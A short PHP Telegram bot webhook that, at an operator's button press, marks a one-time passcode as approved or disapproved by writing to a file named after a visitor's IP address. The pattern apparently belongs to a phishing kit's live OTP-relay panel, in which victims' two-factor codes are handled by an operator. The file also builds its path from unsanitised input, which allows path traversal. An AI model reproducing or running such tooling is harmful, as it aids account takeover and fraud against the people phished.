<?php
    session_start();
    require("./token.php");

    $update = json_decode(file_get_contents("php://input"), true);

    if (isset($update['callback_query'])) {
        $callbackId = $update['callback_query']['id'];
        $chatId     = $update['callback_query']['message']['chat']['id'];
        $data = json_decode($update['callback_query']['data'], true);

        $action = $data['a'];
        $ip = $data['i'];

        if ($action === "approved") {
            
                   $resfile = "./$ip.txt";
                   
                    if(file_exists($resfile)){
                        unlink($resfile);
                        $handle = fopen($resfile, "a");
                        fwrite($handle, "approved");
                        fclose($handle);
                        $text = "✅ OTP APPROVED";
                    }
                    else {
                        $handle = fopen($resfile, "a");
                        fwrite($handle, "approved");
                        fclose($handle);
                        $text = "✅ OTP APPROVED";
                    }
        } elseif ($action === "disapproved") {
                  $resfile = "./$ip.txt";
                   
                    if(file_exists($resfile)){
                        unlink($resfile);
                        $handle = fopen($resfile, "a");
                        fwrite($handle, "disapproved");
                        fclose($handle);
                         $text = "❌ OTP DISAPPROVED";
                    }
                    else {
                        $handle = fopen($resfile, "a");
                        fwrite($handle, "disapproved");
                        fclose($handle);
                         $text = "❌ OTP DISAPPROVED";
                    }
        } else {
            $text = "Unknown action";
        }

        file_get_contents("https://api.telegram.org/bot{$token}/sendMessage?" . http_build_query([
            'chat_id' => $chatId,
            'text' => $text
        ]));

        file_get_contents("https://api.telegram.org/bot{$token}/answerCallbackQuery?" . http_build_query([
            'callback_query_id' => $callbackId
        ]));

    
    }

?>